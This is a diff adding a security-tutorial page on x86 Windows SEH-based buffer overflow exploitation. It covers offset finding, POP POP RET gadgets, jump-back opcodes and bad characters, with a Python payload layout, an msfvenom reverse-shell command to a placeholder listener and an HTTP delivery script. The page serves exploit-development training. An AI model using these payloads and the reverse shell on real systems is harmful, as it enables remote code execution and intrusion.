|
| 1 | +# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +SEH-based exploitation is a classic x86 Windows technique that abuses the Structured Exception Handler chain stored on the stack. When a stack buffer overflow overwrites the two 4-byte fields |
| 6 | + |
| 7 | +- nSEH: pointer to the next SEH record, and |
| 8 | +- SEH: pointer to the exception handler function |
| 9 | + |
| 10 | +an attacker can take control of execution by: |
| 11 | + |
| 12 | +1) Setting SEH to the address of a POP POP RET gadget in a non-protected module, so that when an exception is dispatched the gadget returns into attacker-controlled bytes, and |
| 13 | +2) Using nSEH to redirect execution (typically a short jump) back into the large overflowing buffer where shellcode resides. |
| 14 | + |
| 15 | +This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing. |
| 16 | + |
| 17 | +--- |
| 18 | + |
| 19 | +## Finding exact offsets (nSEH / SEH) |
| 20 | + |
| 21 | +- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). |
| 22 | +- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. |
| 23 | + |
| 24 | +Example with peda/GEF/pwntools on a 1000-byte POST body: |
| 25 | + |
| 26 | +```bash |
| 27 | +# generate pattern (any tool is fine) |
| 28 | +/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 |
| 29 | +# or |
| 30 | +python3 -c "from pwn import *; print(cyclic(1000).decode())" |
| 31 | + |
| 32 | +# after crash, note the two 32-bit values from SEH view and compute offsets |
| 33 | +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH |
| 34 | +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH |
| 35 | +# ➜ offsets example: nSEH=660, SEH=664 |
| 36 | +``` |
| 37 | + |
| 38 | +Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible. |
| 39 | + |
| 40 | +--- |
| 41 | + |
| 42 | +## Choosing a POP POP RET (SEH gadget) |
| 43 | + |
| 44 | +You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR: |
| 45 | + |
| 46 | +- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. |
| 47 | +- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. |
| 48 | + |
| 49 | +Pick an address that contains no badchars when written little-endian (e.g., `p32(0x004094D8)`). Prefer gadgets inside the vulnerable binary if protections allow. |
| 50 | + |
| 51 | +--- |
| 52 | + |
| 53 | +## Jump-back technique (short + near jmp) |
| 54 | + |
| 55 | +nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH. |
| 56 | + |
| 57 | +With nasmshell: |
| 58 | + |
| 59 | +```text |
| 60 | +nasm> jmp -660 ; too far for short; near jmp is 5 bytes |
| 61 | +E967FDFFFF |
| 62 | +nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) |
| 63 | +EBF6 |
| 64 | +nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) |
| 65 | +E96FFDFFFF |
| 66 | +``` |
| 67 | + |
| 68 | +Layout idea for a 1000-byte payload with nSEH at offset 660: |
| 69 | + |
| 70 | +```python |
| 71 | +buffer_length = 1000 |
| 72 | +payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start |
| 73 | +payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH |
| 74 | +payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding |
| 75 | +payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad |
| 76 | +payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) |
| 77 | +payload += b"D" * (buffer_length - len(payload)) |
| 78 | +``` |
| 79 | + |
| 80 | +Execution flow: |
| 81 | +- Exception occurs, dispatcher uses overwritten SEH. |
| 82 | +- POP POP RET unwinds into our nSEH. |
| 83 | +- nSEH executes `jmp short -8` into the 5-byte near jump. |
| 84 | +- Near jump lands at the beginning of our buffer where the NOP sled + shellcode reside. |
| 85 | + |
| 86 | +--- |
| 87 | + |
| 88 | +## Bad characters |
| 89 | + |
| 90 | +Build a full badchar string and compare the stack memory after the crash, removing bytes that are mangled by the target parser. For HTTP-based overflows, `\x00\x0a\x0d` are almost always excluded. |
| 91 | + |
| 92 | +```python |
| 93 | +badchars = bytes([x for x in range(1,256)]) |
| 94 | +payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case |
| 95 | +``` |
| 96 | + |
| 97 | +--- |
| 98 | + |
| 99 | +## Shellcode generation (x86) |
| 100 | + |
| 101 | +Use msfvenom with your badchars. A small NOP sled helps tolerate landing variance. |
| 102 | + |
| 103 | +```bash |
| 104 | +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \ |
| 105 | + -b "\x00\x0a\x0d" -f python -v sc |
| 106 | +``` |
| 107 | + |
| 108 | +If generating on the fly, the hex format is convenient to embed and unhex in Python: |
| 109 | + |
| 110 | +```bash |
| 111 | +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \ |
| 112 | + -b "\x00\x0a\x0d" -f hex |
| 113 | +``` |
| 114 | + |
| 115 | +--- |
| 116 | + |
| 117 | +## Delivering over HTTP (precise CRLF + Content-Length) |
| 118 | + |
| 119 | +When the vulnerable vector is an HTTP request body, craft a raw request with exact CRLFs and Content-Length so the server reads the entire overflowing body. |
| 120 | + |
| 121 | +```python |
| 122 | +# pip install pwntools |
| 123 | +from pwn import remote |
| 124 | +host, port = "<TARGET_IP>", 8080 |
| 125 | +body = b"A" * 1000 # replace with the SEH-aware buffer above |
| 126 | +req = f"""POST / HTTP/1.1 |
| 127 | +Host: {host}:{port} |
| 128 | +User-Agent: curl/8.5.0 |
| 129 | +Accept: */* |
| 130 | +Content-Length: {len(body)} |
| 131 | +Connection: close |
| 132 | +
|
| 133 | +""".replace('\n','\r\n').encode() + body |
| 134 | +p = remote(host, port) |
| 135 | +p.send(req) |
| 136 | +print(p.recvall(timeout=0.5)) |
| 137 | +p.close() |
| 138 | +``` |
| 139 | + |
| 140 | +--- |
| 141 | + |
| 142 | +## Tooling |
| 143 | + |
| 144 | +- x32dbg/x64dbg to observe SEH chain and triage the crash. |
| 145 | +- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: `ERC --SEH`. |
| 146 | +- Mona as an alternative: `!mona modules`, `!mona seh`. |
| 147 | +- nasmshell to assemble short/near jumps and copy raw opcodes. |
| 148 | +- pwntools to craft precise network payloads. |
| 149 | + |
| 150 | +--- |
| 151 | + |
| 152 | +## Notes and caveats |
| 153 | + |
| 154 | +- Only applies to x86 processes. x64 uses a different SEH scheme and SEH-based exploitation is generally not viable. |
| 155 | +- Prefer gadgets in modules without SafeSEH and ASLR; otherwise, find an unprotected module loaded into the process. |
| 156 | +- Service watchdogs that automatically restart on crash can make iterative exploit development easier. |
| 157 | + |
| 158 | +## References |
| 159 | +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) |
| 160 | +- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) |
| 161 | +- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) |
| 162 | +- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) |
| 163 | + |
| 164 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments